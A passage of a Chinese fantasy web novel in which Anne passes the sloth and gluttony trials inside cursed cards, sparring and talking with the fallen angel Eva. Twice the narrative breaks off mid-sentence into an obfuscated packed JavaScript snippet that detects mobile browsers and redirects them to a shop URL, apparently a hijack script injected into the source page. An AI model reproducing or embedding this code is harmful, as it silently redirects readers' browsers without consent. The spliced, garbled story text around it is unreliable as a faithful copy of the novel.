和其他邪牌一样的大小,一样的形状,但颜色总给人一种突兀的鲜活感。那种白色也不是单纯的苍白或雪白,而是泛着光泽,隐隐透出高级感。 用安妮刚刚学会的不平等观念来感受,这看起来就比其他邪牌高贵。 不过安妮并不能确定这感觉是否准确,一切还是要自己进去感知一下才知道。 她进入邪牌,很快,出现在一个白色的空间。 熟悉又陌生的感觉。 如果说之前的那些空间都是纸壳子,那么这个空间就是铁壳子。颜色一样,甚至走在上面的触感都一样,但就是感觉更高级。 看来不是错觉。 安妮往前走了走,很快发现一堵墙。 凹凸不平的墙,从中间被突兀地分开,上方凹陷,下方凸起。一模一样的粗糙表面,但上面看起来要稍微光滑一点。 这墙安妮越看越眼熟,忽的,她仿佛想到什么。 不确定地慢慢往后退,将整个障碍物尽收眼底,那“墙”终于完完全全展现出来:哪里是什么墙面?根本就是一只眼睛! 只是这只眼睛太大,所以触手垫在眼睛下面的时候,靠近了看完全意识不到。 安妮慢慢乘风而起,飞到眼睛面前。这眼睛虽然没有比格毛丝巨大,但粗糙的表皮仍旧有些吓人,好在安妮见过更大更恐怖的东西,因此根本不慌。 甚至有闲心绕着它飞一圈。 这只眼睛就和其他眼睛一样,两根触手,三角眼皮……只是除了颜色更显高贵以外,体型也令人咋舌。 虽然七只眼睛,目前已知六只的大小都不一样,但安妮能感觉到,面前这只是最厉害的。 就和他与众不同的颜色一样。 但是这只眼睛紧闭着,没有任何动作。安妮有些不解,等了一会儿,见眼睛纹丝不动,还是决定问问。 她飞到托住眼睛的触手上方,站稳,点了点脚下的皮肤。 没有回应。 是不是没感觉? 安妮鼓足勇气,使劲在触手上蹦跳。 触手的表面虽然粗糙,但内里还是比较松软的,跳下去之后能感受到一点凹陷,接着被弹起。 面前的眼睛终于有动静了。 眼皮抬起,一只白色的眼睛缓缓展现在面前。巨大的瞳仁,里面的自己显得格外渺小。虽然没有巨物恐惧症,但如此近距离地接触,安妮还是有些胆怯。 她等眼睛醒了就飞远一点,防止这只眼睛有起床气。 但眼睛只是睁开,没有动作。安妮直觉他打了个哈欠,紧接着一道悠远的声音响起,就像古老的钟声:“每天来训练。” 五个字,没了。 眼睛再次闭上,这次,地面多了一些东西。 外围是一根长长的圆形跑道,初步估计有十千米,里面许多东西被包围着。 安妮一个个看过去,全都是以前在森林里,金克丝给自己准备过的。有巨大的石头、坚韧的跳绳、架空的横杠甚至蹦高的树。 旁边则是一个木牌,上面隐约写着什么。安妮朝第一个插在跑道边的看去,是“长跑百圈”。 另一个石头旁边则写着“举重百次”。 跳绳边写着“跳绳千次”。 还有“平衡练习一小时”“摸树枝千次”“爬树十圈”“静立一小时”…… 在过去,这些每天的训练是自己最痛苦的时光,但后来逐渐成为日常、成为挑战、成为乐趣…… 现在的自己,要做到这些已经轻而易举。 不管白色眼睛的目的是什么,安妮的确有些手痒。她于是站在起点,伸伸胳膊伸伸腿,摆摆脑袋拉拉手,然后开始木板上的任务。 首先是长跑百圈。安妮记得以前的自己还需要不停地休息,才能慢慢完成。金克丝就在旁边一边跑一边看着,神情悠闲得仿佛在散步。 但现在身体得到洗精伐髓的她,就是单靠飞也能迅速完成目标。不知道金克丝如果还在,看到她的速度会不会欣慰…… 安妮很快完成目标,木板上出现一个数字“1”。 还真是打卡? 她于是朝着其他锻炼项目走去。 除了规定时间的项目,安妮其他锻炼都完成得很快。举重时,她故意用幽冥扇帮忙,但是木牌仍旧将次数计算了进去——看来,作弊也是行的。 不过在金克丝面前没法作弊。 曾经,安妮尝试过在静立的时候悄悄挪动,放松一下。但是松懈的下一秒,就会迎来金克丝不轻不重的树枝。鞭打起来痒痒的,没多疼,甚至比不上心底被发现的羞耻感带来的激动。 不过后面,自己甚至成了老油条,已经能笑嘻嘻地面对金克丝的嘲讽了。 静立的时间总是过得很慢,安妮将金克丝和自己的训练重复了一遍又一遍,木牌上终于出现了一个“1”。 静立也完成了。 然后是平衡练习。 安妮跳上横木,不需要张开双手或者借助道具,就可以稳稳当当。她甚至将静立也加入了进去,站在木桩上不动弹。 就好像一个没有手的稻草人。 这次,安妮想到了巫阿婆,因为祖神村是鲜少还在使用稻草人驱赶麻雀的地方。效果如何暂且不提,他们扎稻草人确实有一手。 其实,自己如果能早点发现农村人各个都会为了省钱学习扎东西,就不会辛辛苦苦编织那么多没用的玩意儿,还指望能卖钱了。 还好,最后遇到了巫阿婆。 安妮一开始是不知道巫阿婆的考验的,但后面越回想思路越清晰。 弱小又年迈的老人怎么会提着一篮子新鲜水果走在荒芜的林子里?她不过是为了考验自己罢了…… 该庆幸自己守住了最后一丝善良吗?那倘若是现在的自己,还会如此吗…… 木牌上的数字变成“1”,安妮深呼吸一口气,一跃而下。 周围的所有木牌下方的数字都变成了“1”,她尝试着再次跑步百圈,但就算是跑了一百零一圈,木牌上的数字也没有再变。 也就是说,“每天打卡”,代表着一轮完成以后,还要等二十四个小时。 可这个空间里真的有“时间”这个概念吗? 安妮不着急,她耐心地取出红蓝羽毛,对着雪羽嘱咐:二十四小时后叫她。 雪羽有自己独特的计时方法,从知道以后,安妮就不再刻意复习金克丝教学的估计时间法了——虽然脑子里还是忘不掉。 嘱咐完雪羽,安妮又观察了一下四周。这是她每到一个地方都会做的,虽然这片空间和自己想的一样——除了白色眼睛和它创造的一堆锻炼项目,周围再无东西。 走多久,身后都是清晰可见的跑道,就像当初在金字塔里探险的时候。 那就不走了。 安妮返回跑道附近,给自己找了个休息点,便开始闭目养神。 “主人,时间到了。” 不知道过了多久,安妮期盼已久的声音终于响起。 她感觉自己闲得快要发霉了。 之前虽然也被困在幻境里生活过很久,但那是生活,和现在截然不同。二者最大的区别,就是这个幻境除了锻炼项目空无一物。 她睡觉的地方都是自己找的。 得到雪羽的通知后,安妮立马坐起身,随便选了个项目开始锻炼。 达到目标后,木牌下方的数字果然变成了“2”,这让安妮士气大增,立刻开始将其他项目也刷成“2”。 等到一切做完,看着满满当当的跑道,安妮心中格外满足。 只是……这个数字要达到多少,白色眼睛才会认可?66,88,或者99?还有一周、一个月、一年…… 安妮不知道,所以她决定去问问。 之前自己觉得就算真的要把数字刷成几百几千,也成竹在胸,但现在安妮后悔了。因为等待的时间真的太煎熬了,比锻炼的时候还辛苦。 此时的白色眼睛还在睡觉,安妮能确定他确实没有醒来过——自己休息的时候也没忘记感知——也不知道哪来这么多懒觉。 照例使劲蹦跳唤醒白色眼睛,他一睁眼,安妮立马大喊:“我要达到数字几?” 生怕听不见又睡过去。 可惜,白色眼睛没有回答,只是悠悠闭眼。 安妮傻了。 她确信白色眼睛是听到了自己的问话的,那就是故意不回答?为什么? 虽然想继续蹦跳引起白色眼睛的注意,但安妮最后还是忍住了。她决定先定个目标试试,万一中途就得到认可了呢? “之后每过二十个小时,都叫我一次。” 安妮这次严谨了许多,所有训练做完需要四个小时,那么新的一天准确来说就是二十个小时以后。当然,还有一个原因也至关重要:这样时间是最快的。 雪羽得到指示,再次沉寂下去。 今天是达到数字100的最后一天。 安妮几乎是等着雪羽倒计时,在她通报的那一刻,就迫不及待地上前开始锻炼。 一百天,虽然中途自己也有过松懈的念头,但总会在当天完成锻炼。毕竟,木牌上的数字,算是这个空间里唯一的变化了。 无人知晓,她在这个白茫茫的单调空间里,有多期盼变化。 一百,不仅意味着目标达成,还代表着,自己有底气找白色眼睛要认可。不管结果如何,他的要求又是什么,起码自己有了询问的资本。 当然,白色眼睛能一直睡这么久,安妮也是佩服的。 是的,自己积累数字的这段时间,白色眼睛从没醒过。从一开始的期盼到现在的接受现实,安妮都不知道应该怎么表达心情了。 所有的木牌指向“100”,安妮却再没有成就感,只是重重地松了口气。没有变化也是她意料之内的,但是这一次,安妮飞到了白色眼睛面前。 简单的蹦跳已经唤不醒他,安妮直接开启了攻击模式。 幽冥扇的巴掌还是很有用的,打在白色眼睛身上,白皙的表面隐隐泛红。 他果然,也睁开了眼。 “一百了!够了吗?” 安妮指着下方的跑道。 白色眼睛跟着看了眼,但很快收回视线。 紧接着,在安妮期盼的眼神中,他两根触手鼓了鼓,紧接着收缩。那颗白色大脑袋再次放到触手上,合上眼皮…… 睡了。 所以自己满怀期待地等待,就等到他调整了个姿势? 安妮觉得这要是愤怒的幻境,他已经成功了! 知道努力只会离成功遥遥无期,安妮干脆发了狠。她掏出两把幽冥扇,对着白色眼睛就是捶! 之前的自己不动武,不是打不过,是知道打没有用。 但是这只白色眼睛不打不行!起码让他知道痛呼,还算蹦出个字! 安妮的实力不容小觑,但白色眼睛也不是吃素的。他察觉到疼痛,立马展开回击。 于是一阵白光闪过,安妮出现在黑暗领域。 是的,她被送回来了。 这还是第一次,自己被丢出幻境。 “看来这次的旅程不太顺利啊,亲爱的。” 伊娃的声音在背后响起,安妮眼前一亮。 “咱们聊聊?” 她转身,女人一袭紫色内衣,仍旧清凉性感。 听到她的话,伊娃故作惊讶。 “你要找我聊天?还真是受宠若惊。” “打探点消息,你应该不会介意吧?”安妮坐到牌桌上,并没给伊娃拒绝的机会,“七原罪,是哪七种?” “一上来就问关键信息,我很为难啊。” “现在我都经历五个了,只剩两个,有什么不能说的?难道说了我就不会感知了吗?你的目的是让我感同身受,详细介绍给我我更能理解不是么?” “好吧,你倒是越来越会辩论了。” 伊娃摊手,眼里却是欣慰。 “七原罪包括愤怒、贪婪、嫉妒、色欲、傲慢、懒惰和暴食,也就是你经历的顺序。” 伊娃说完安妮就明白了,白色眼睛是懒惰。 其实不用排序她都能知道,因为白色眼睛太能睡了。 “那为什么懒惰这么特别?” 安妮呢喃。 “因为很多世界其实流行着一句话:万恶懒为首。” 万恶懒为首? 安妮想了想,好像有那么点道理。 贪婪、嫉妒、暴食,都和懒惰有直接关系,其他三原罪,也可以因懒惰更严重。 但自己关心的并不是这个,当务之急是得到懒惰的认可。 得到认可就是表现出和七原罪相符合的性格,这点安妮已经知晓。那么想得到懒惰的认可,就要表现出懒惰。 也难怪之前的自己天天打卡都没用了。 安妮想通之后虽然懊恼但也庆幸,虽然浪费了一百天,但起码及时醒悟被丢了出来,不然要通关得等到猴年马月。 可是,就算出来了,知道了解法,自己要怎么做呢? 每天都不打卡吗?进去就睡觉吗?可即便如此,懒惰也看不见啊。 要让他看见就必须把他唤醒,要唤醒他自己就绝不是真的懒惰……安妮纠结了。 也许懒惰是会在某一时刻苏醒,稍微分出点精力查看自己的和木牌上的数字的,但安妮等不了那么久了。 一百天,他都没有睁眼一次,谁知道这个周期到底是多久? 必须想个办法…… 安妮沉思片刻,目光慢慢放到了面前的伊娃身上。 “噢,某个小家伙似乎需要帮助。”察觉到安妮的视线,伊娃微笑,她连同椅子一起主动抽离桌子,然后滑到安妮旁边,保持着不远不近的社交距离,“说吧,需要我做什么?” 这么干脆? 安妮还以为伊娃会有所犹豫,至少要和自己谈判一下,才会松口帮忙。 “不要怀疑我,我永远是和你一体的。” 伊娃就仿佛知道安妮没说出口的话,安慰道。 虽然很不想承认,但现在自己确实需要伊娃帮助。安妮于是转移话题,告诉伊娃她需要做什么。 等到商量好一切,确定没问题后,安妮再次进入幻境。 旁边,伊娃紧随其后。 这一次,面前的白色眼睛还是巨大的,并且睡着觉。 安妮没有大闹,只是大喊着给他提了个醒,表示自己进来接受考验了。白色眼睛晃动两下表示知道了,如果不是安妮用心观察,都没发现他的动作。 等空间里再次出现训练场地,安妮便知道考验开始了。 她没有立马睡觉,而是将所有木牌都刷成了“1”。紧接着,照例吩咐雪羽,在二十小时后叫她。 仿佛和之前没有什么区别,但是数字到达9的时候,安妮做训练的打卡时间稍微延后了。 接着再延后……再延后…… 数字到达“21”的时候,安妮完成训练的时间,已经从雪羽提醒的时候,变成提醒后的十多个小时。并且她的完成度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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之前在幻境安妮也感知了懒惰的能力,并不算强劲,因此她并不担心。 “那我就不客气了!” 见安妮回答后没有动作,伊娃直接冲上前。 周围的黑暗忽然凝聚成为禁锢的牢笼,同时女人的爪子直指安妮的胸口。 虽然安妮看似没有防备,但回答的那一刻她其实就进入了战备模式。此时感知到周围的压制,她立刻周身燃起寒焰驱散黑暗,伸出右手和伊娃对掌。 火焰与黑雾抗衡,两人隔空一拍,各自退开半步。 一直伪装成裙罩的幽冥扇迅速化形飞到自己手上,伊娃看着在黑暗中极致耀眼的少女,苦笑:“你欺负我赤手空拳啊?” “没记错的话,你有武器。” 曾经作为天使的伊娃怎么会没有武器呢?伊娃的武器原本是巨剑,但堕落以后审判巨剑被留在天上,她的武器就成了锁链。 那锁链不知从何而来,极其富有灵性,并且带着令灵魂战栗的气息,就像布满倒钩浸满毒药的鞭子。 “我确实有,但这一开始其实不是武器。” 伊娃勾唇,掌心向上在虚空一握,一根紫黑色的鞭子出现在手中。 上面寒气逼人,即使身处寒焰之中,安妮仍旧感觉到了不祥。 “那这是用来干嘛的?” “打赢了就告诉你。” 伊娃说完,手里的锁链顿时如毒蛇般飞来! 在靠近安妮的时候,竟然直接缠绕上了她的圆形护盾。紧接着黑色雾气凝聚,形成一个重力空间,将安妮死死困在其中。 寒焰可以融化一切,但伊娃的链子竟然丝毫不受影响! 安妮心中划过一个猜想,但现在不是思考的时候。她厉喝一声炸开火焰,把黑暗之力驱散,紧接着跳到链子上,借力三两步窜到伊娃面前。 就在幽冥扇对准喉咙的下一刻,黑色保护罩形成,挡住了锋利的扇骨。 安妮咬牙往下压,伊娃奋力抵抗,同时,锁链尾端急速收回,打向安妮的脊椎! 安妮只能放弃目标,暂时退开,谁知脚下忽然爆起一团隐藏的黑暗之力!黑暗之力迅速形成一汪黑色池水,从中冒出许多黑手把自己往下拽。 不知为何,这些东西让安妮联想到了血池。 她被抓住,停在半空中动弹不得。伊娃勾唇,将锁链狠狠甩出! 想象中的鞭打声并没有出现,反倒是无数白羽飞出,万箭齐发、密密麻麻!伊娃视线被遮挡仅仅一秒,却感觉脖颈传来一丝温热又冰凉的触感。 “你输了。” 这么快的速度,还有这些白色羽毛…… 伊娃退开半步,凤凰翎羽已经乖乖飞回安妮的身上,围成一圈……裙子。是的,这些都是安妮短裙的一部分——她还以为只是装饰! “我头上的羽毛,还有做裙子的羽毛,其实都是武器,这里面还住着红蓝羽魂。”安妮点点脑袋。 她手里的两把幽冥扇也乖乖卡上腰部,形成两片裙罩。 再加上腰部的奇迹之心……简直处处都是陷阱。 能形成灵的都是厉害的东西,凤凰的羽魂更是其中的佼佼者,即使见多识广如伊娃,也有些惊叹。 安妮真是一身好东西。 “现在可以告诉我,你的锁链是哪来的,用来干嘛了吧?” “你还好奇这个?” 伊娃以为安妮已经猜到了呢。 “我想,它可能来自某个池子,但是具体不知道。” 幽冥寒焰能融化一切东西不假,但倘若是世界外的东西,那就不行了。 “就是你想的那样,只不过,它曾经是用来束缚我的。” “什么?” 安妮有些傻眼。 血池在她的认知中一直是精神类的东西,就像幻境一样,是虚假的空间。可这链子,明明就是实实在在的物体。 “意识和物质是可以互相转化的,不过具体细节无人知晓,你只要知道我不会骗你就行了。” 意识和物质可以相互转化?怎么可能? 如果真的可以,那世界上就没有穷人和富人了,人人都是大梦想家。 但伊娃确实没有骗自己的必要,她也从没有骗过自己。而且……这似乎也是最合理的解释了。 连自己都猜测链子来自血池,不是么? 把血池当成意识和物质的共同体,就好理解了。说不定伊娃只是在血池呆久了产生幻觉,才觉得血池是幻境。 安妮不再纠结,反正这也不是自己需要关心的。 “你除了问这个,就没有别的想说吗?” “比如?” “让我教教你。” 伊娃说得淡然,好像她也知道,这个招式很厉害,没什么谦虚的必要。 安妮也确实,不得不承认,伊娃的这招很厉害。能够神不知鬼不觉地调动黑暗力量,囚困住一切。 包括她,因为寒焰不管用。 只是…… “你为什么要教我?” “我说过,你是我的接班人,把一切告诉你,让你有能力更好地应对以后,不是应该的吗?当然,最主要的是黑暗智力迟早被你掌控,这个招式的下一个主人非你莫属。” 安妮不想否认,为了这个招式,她可以保持沉默。 “来吧,我告诉你口诀……” 伊娃勾唇,走到安妮身边。 11. 11 安妮最后抽到的是一张紫色眼睛。 她习以为常,不过这次和伊娃交换了一个眼神,才进入幻境。 这次的幻境主人要耿直得多,一进来安妮就看到了不同于白茫茫的场景,听到了大声的叫喊。 她循着声音走去,很快看到了两张桌子和一个怪物。 真不是安妮歧视谁,实在是面前的东西不能称之为人。 虽然他也有作为人的四肢,但全身的躯干都短小而肥大,并且只有三根三角形手指——更像鱼鳍。他的脸极其圆润,没有脖子,身体直接和下巴连接在一起,整个胖成了球。 鲶鱼一样的胡须飘在半空,搭配上一身黑绿色光溜溜的皮肤,就像是肥鲶鱼成了精。那双狭长而细小的眼睛里全是贪婪,让人看了忍不住想远离。 但是桌子中间的紫色眼睛还是让安妮停住了。 这当然就是最后的邪牌主人——暴食,伊娃友情提示,也叫格鲁特尼。 至于旁边桌子上那个大吃特吃的家伙,安妮就不认识了。 记忆里好像也没有遇到过这么特别的怪物,不然自己肯定能记住。 “我叫……咳咳。”紫色眼睛说到一半停了下来,另一边的怪物也跟着停下。 他咽下最后一口食物,说道“你好,我叫以特,别的人也喜欢喊我饕餮。” “饕餮?” “是两个这个世界没有的字,你不用在意。”格鲁特尼接过话茬,以特于是又转向桌子,开始埋头苦吃。 “欢迎来到我们的大胃王比赛!只要你能赢了以特,就可以得到我的认可!加油吧孩子!” 格鲁特尼说完激动地又跑上舞台。 他的左边是以特,右边是一张空桌子。 两张桌子上都放着很多食物,堆叠起来比自己还高。以特那边的已经吃掉一半,但规模依旧壮观。 安妮没有立马上前开始狂吃,而是站在不远处观察以特的动作。 以特吃得很急,按照这个速度,即使桌子被摆得满满当当,也是不够吃的。果然,在他吃完最后一盘包子后,桌上的东西刷新了。 变成了新一批美食。 安妮对比了下,应该是和自己那桌不同的。 一直看了几十分钟,以特吃完了第二桌食物。第三桌刷新,又和之前的不一样,但是以特的速度甚至都没有放缓一点,还是把东西努力往嘴里塞。 就这样的速度,自己怎么可能超越得了? 许是看出了安妮的担心,格鲁特尼小心开口:“咱们的比赛都是以天为周期的,我可以在时间刷新,重新计算的时候叫你。” “可就算重新开始,我也不可能吃过他吧?” “那可不一定。” 格鲁特尼说完,以特正好吃完了第三桌食物。但是这一次桌子没有再刷新。 以特失望地看了眼餐桌,确定没东西后,朝着远方走去,慢慢消失了。 “他那边只有三桌食物,而你,有三桌,零一盘蛋糕。” 多一盘蛋糕,那就意味着只要自己一天内吃掉所有食物,就比以特多。 但是就算明确了目标,安妮也不可能做到的,这一大桌子可以说是她没有灵力和锻体那会儿都要吃一星期的,更别说现在近乎辟谷了。 但还没有尝试就退缩从来不是安妮的风格,她还是决定先试试看。 “别一副愁眉苦脸的表情呀,难道你不喜欢这些美食吗?”格鲁特尼见安妮皱着小脸,就跟在应对什么难题一样,忍不住劝说,“吃东西是一件很快乐的事情。” “也许吧,但是这么多……” 她曾经也很喜欢品尝美食,追求味蕾的极致享受,不然也不会在无妄森林研究各种调味草药,只求烤出鲜美的肉类了。 连提伯斯都拜倒在她的技术之下,不是么? 但是品尝一种美食和胡吃海塞是不一样的。 安妮自觉跟格鲁特尼讲不清楚,还是坐到桌子前。 安妮首先选了一块葱油饼,其貌不扬,就像曾经的她。 这是巫阿婆那个地区会有的手艺,烙饼金灿灿的,其中镶嵌着葱花肉末,油光水亮,还热气腾腾。 不得不说,抛开数量,这的确是一场盛宴。 安妮咬一口,顿时,面点在嘴里炸开。软糯弹牙的饼搭配上味道丰富的鲜肉蔬菜,里面还有一些脆脆的蘑菇一类的颗粒。 比预想中还要好吃,安妮直接三两下结束战斗。 吃完葱油饼,她又看上了下方的肉夹馍。之前的面饼虽然味道鲜美,但是刺激感不强,这个肉夹馍内里的鲜肉几乎要掉出来,搭配上酥脆的外皮,看一眼就食指大动。 接下来还有披萨、肠粉、炸酱小面…… 安妮一道道品尝,终于发现了不对。 她没饱。 若是平常的饭量,自己恐怕早就吃撑了,但即使面前已经放了很多个空盘子,安妮还是没感觉到丝毫饱胀感。 就好像吞下去的全部是空气。 “怎么不吃了?我看你吃得很开心呀!” 格鲁特尼飘到安妮旁边,语气激动。 看上去甚至比安妮还高兴。 “我在想,吃了这么多,为什么没有饱腹感……” 总不可能是现在的自己察觉不到,等吃到肚子装不下的时候,就会被撑死吧?安妮打了个寒战,被自己的想法吓了一跳。 格鲁特尼不知道安妮的想法,听到她的话,顿时松了口气。 “这你完全不用担心呀,看看你手上的食物到底是什么,用心观察,你会得到答案。” 用心观察? 此时,安妮手上已经换成了一串裹着红糖的橘子。 小橘子表皮上还有白色的线,胖乎乎肉嘟嘟,外面一层红色的大衣半透明而喜庆,没有味道,但安妮好像感觉到了酸甜。 再仔细看看,这食物被捏在手里,轻盈剔透…… 没有实体? 幻境是身体和灵魂一起进入的,但幻境内的东西其实是虚假的,否则就不是幻境而是异空间了。而其中被模拟出的物品,可以是和外界一模一样的,也可以是灵魂状态存在的。 安妮之前所经历的幻象全都是和记忆中一模一样的实体,因此下意识以为这些食物在幻境中也是物质和意识并存的完全体,但她细细感觉后发现,并不是。 这是灵体,也就是只有意识没有物质存在的物体。 这种只有灵魂的食物只会提供精神上的饱腹感,不会有身体上的饱腹感。 而精神上的饱腹感感觉并不强烈,人不会呕吐,吃撑了最多觉得不想吃东西。 难怪自己吃了那么多,还是没感觉饱。 吃了葱油饼的灵体,之后一段时间就不想吃葱油饼了,但是之后的食物是肉夹馍。吃了肉夹馍的灵体,之后一段时间也不想吃肉夹馍了,但下一样又变成了披萨。 而这桌子上的食物都不是重复的。 也就意味着……吃完其实很简单。 这是第一次,安妮以为很难做的事情,竟然变得轻而易举。她有些难以置信,然后吃了串零食压压惊。 很美味、很满足。 “你的考验……挺别致。” 其他六原罪虽然没有刻意为难自己的意思,但启发自己的过程中难免和她产生误会冲突,尤其是一开始的愤怒和后来的懒惰。 但没想到,面对暴食,她竟然感觉到一丝放松。 “很多人觉得暴食不应该是七原罪之一,但我永远坚信,我是在和懒惰并立的第二原罪。懒惰是放纵,我也是放纵,只不过方式不一样而已。我看到了你在懒惰的幻境经历的东西,你就是我最喜欢的那种人,你不爱躺平,但你也会躺平。” 安妮一开始可能不太理解暴食的意思,但经受过懒惰的考验以后,她已经能听懂了。 其实她也是喜欢放纵自己的,谁不喜欢呢? 只是她放纵的方式更倾向于耗费精力的“吃”,而不是啥也不干的“睡”。 也许自己的另一面,那个沉睡在黑暗环境中的“安妮”会喜欢。 “好了,既然你已经完全没有后顾之忧,是不是可以敞开地吃了?只感受到味道,却不会摄入能量,这可是很多世界的人都在期盼的事。” “当然。” 别人对自己态度如何,自己就对别人态度如何。 懒惰对她友好,安妮也不会冷脸。 这其实不是个优点,伊娃已经靠这个不断拉近和自己的距离,但是安妮改不了。 吃东西的确是一个很好的放松方式……安妮想着,抛开了所有念头,开始狂吃。 酸甜苦辣麻,所有的味觉在这一刻得到完整的释放。想吃什么就吃什么,想拿什么就拿什么,即使将桌子上的东西一扫而光,也还有下一桌等着。 最关键的是,就像格鲁特尼所说,吃再多都不用担心发胖和健康问题。什么营养均衡,什么荤素搭配,什么限量限定……全都不需要顾忌。 这是一场酣畅淋漓的饕餮盛宴。 即使安妮还不太理解饕餮的意思。 “恭喜你!成功打败了以特!” 最后一盘蛋糕消失在嘴里,安妮回过神来,看着面前空空荡荡的餐桌,陷入迷茫。 她吃了这么多? 这么快? 之前还觉得以特吃东西风卷残云,但现在的自己似乎也不遑多让。 最关键的是…… “我成功了?” 得到认可了? “是的。” “这也……”太快了。 一天?不,严格来说只能算半天。 安妮都做好和格鲁特尼死磕的准备了,谁知尝试着尝试着,通关了…… 这就好像你翻山越岭,途中历尽艰险,终于到达了最后的山洞。但是山洞里没有巨龙怪物,只有一个宝箱。而你试探性打开,宝箱里就放着一堆金币——还是装在袋子里直接就能抗走的那种。 “如果觉得我的服务还不错,留下来玩个游戏怎么样?” “游戏?” “是啊,我太久没遇到这么合我心意的人了,想送你一点东西——放心,这个游戏你也会喜欢的。” “好。” 安妮乖乖坐在椅子上,对面格鲁特尼落座,两人就像多年未见的老友。 “这个游戏很简单,就是你蒙上眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296888|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛,然后吃一口面前的食物,最后告诉我它是你记忆中的什么,在哪里吃过就行了。” “好。” 安妮顺从地把面前的白布系在脑袋上,确定眼前一片漆黑无法视物。尽管如今的自己不需要眼睛也可以感知环境,但她没有放出神识作弊。 “那么,游戏开始,你只需要把勺子里的东西放进嘴巴就可以了。” 格鲁特尼说完,安妮的手里多了一根勺子。 她将食物放进嘴里,但还没有咀嚼,就直接吞了下去——因为这是汤。温热的,带一点辛辣,喝一口,直接从喉管顺流而下,暖到心里。 安妮仿佛回到了那个冰天雪地的帐篷外,炊烟袅袅,在寒冷的冰晶中舞蹈。姜片胡椒的辛辣味直冲鼻腔,如同冬日里仍旧活跃的生命。自己穿着厚厚的袄子,踩着薄薄的积雪,靴子上的小绒球一晃、一晃…… “凯德阿姨的冬阳汤……” 每年最寒冷的冬天,自己都要喝一大碗才能被放进森林。 “没想到时隔几十年,你还记得。” 已经几十年了吗? 安妮在心中叹了口气。 “好了,下一个。” 这次,勺子上分量重了些。安妮吃进嘴里,是固体。 外层是绵密紧实的白面,软糯厚重,上面好像铺着一层肉馅。鲜香滑嫩的肉里还有一些蘑菇渣和蔬菜叶,咬下去一口爆汁。 安妮神情中有些错愕,但很快回答:“这是,阿狸姐姐做的肉包子。” 没记错的话,应该还是当初她第一次到达圣城的时候,阿狸姐姐悄悄赛给自己的肉包子。 其实记忆已经有点模糊了,毕竟这几十年里,自己吃过的包子并不算少。但是阿狸姐姐的包子总是那么香甜美味,仿佛还有淡淡的花香。 只有她的包子,是最特殊的,就和她一样。 “猜对了,继续吧。” 勺子上的东西再次变换,这次轻盈了很多。 放进嘴里,是蛋糕胚和奶油。 自己刚刚才吃过,不可能品尝错。但是这个蛋糕就和寻常的蛋糕没什么区别,要说特点……最多奶油滑腻一点,是放了一会儿才会有的。 她忽然福至心灵,试探道:“是师父的生日蛋糕吗?” 说完,她改口:“就是金克丝。” “我还以为这个你猜不到呢。” “我也是瞎猜的……” 安妮苦笑一声。 前两种食物都对自己意义非凡,那么这个食物肯定也代表着记忆中的一段重要往事。而和蛋糕有关的,只有金克丝,以及那个故事…… “这个你肯定猜不到!” 随着格鲁特尼的话落下,勺子上立马盛上一个重物。像是石头,又像水球,总之重得不像吃的。 若是曾经的安妮,估计都会被突然增加的重量打个措手不及,把东西弄掉。 她将这个奇怪的东西放进嘴里,顿时,一股冰冰凉凉的触感传来。 的确像是装了水的球,很圆,只比弹珠大一点。咬开,顿时清凉的感觉炸裂开来,嘴巴里好像变成了一个冰雪谷。 安妮吞下去,滑溜溜的触感,还有植物的草本香气。 “这是什么?” 她确实猜不出来。 “避水珠。” 避水珠? 安妮傻眼了。 “这也算吃的吗?” “亚特兰蒂斯的避水珠是树上结出的果子,岸上那些人制作的避水珠是用海边植物做成的球,都可以吃。” “但可以吃的,就算是食物?” “那要看你怎么理解了,难道,避水珠不是你人生意义中重要的一环吗?” 当然是…… 使用避水珠的过程,是自己亲自接触了解海底的过程,也为后面感知梦想本源打下了基础。避水珠对于她来说意义重大,不过是更倾向于现实意义。 “好了,游戏结束,你可以把布条取下来了。” “结束了?” 安妮取下布条,还有些意犹未尽,但她忽然想到什么。 “不对啊,这些……和放纵有关系吗?” 感知美食的意义,可不包括在“吃”这个环节以内。 甚至,任何理智都是七原罪的对立面。 “我什么时候告诉你,这个和放纵有关了?” 安妮沉默了。 “我只是想告诉你,放纵并不可怕,无限制的放纵,才是魔鬼。” 就像美食,并不是一个贬义词,但暴食,就让人望而生畏。 “……谢谢。” “你要走的路还很长,希望你不要被七原罪控制……” 格鲁特尼最后的话很轻,但安妮还是听到了。她心中感激,目送格鲁特尼离开,才恢复平静。 其实,格鲁特尼有一点说错了。 他绝不是能和懒惰相提并论的第二原罪,甚至排不进前面。因为安妮能感知到,即使他的体积并不是最小,力量却是最薄弱最崭新的。 懒惰苏醒的两三秒,看自己的眼神都充满轻蔑,如同在看一个蝼蚁。那种岁月沉淀出的深沉稳重,和格鲁特尼截然相反…… 12. 12 安妮被放出邪牌后,还有些怅然若失。 她总感觉暴食以后会改变,希望只是错觉。 “怎么样,一切还顺利吗?” 伊娃随意地坐在牌桌上,撑着下巴,闲适自在。 幻境和黑暗领域的流速不同,所以不论是之前懒惰的幻境还是现在暴食的幻境,在伊娃眼里安妮都是瞬间一进一出没有区别。 唯一能够判断的就是邪牌还在不在,而这次象征暴食的牌消失了。 说明安妮不是被踢出来,而是成功了。 因此伊娃即使是询问,脸上也带着笑容,很明显,她对安妮的成功感到非常高兴。 而安妮也回以一笑:“暴食和我想的不太一样。” 她见伊娃露出好奇的神情,还是没忍住,给她讲起来。先是暴□□心准备的大胃王比赛,然后讲到成功以后的小游戏。 让人没想到的是,伊娃注意到的竟然是以特。 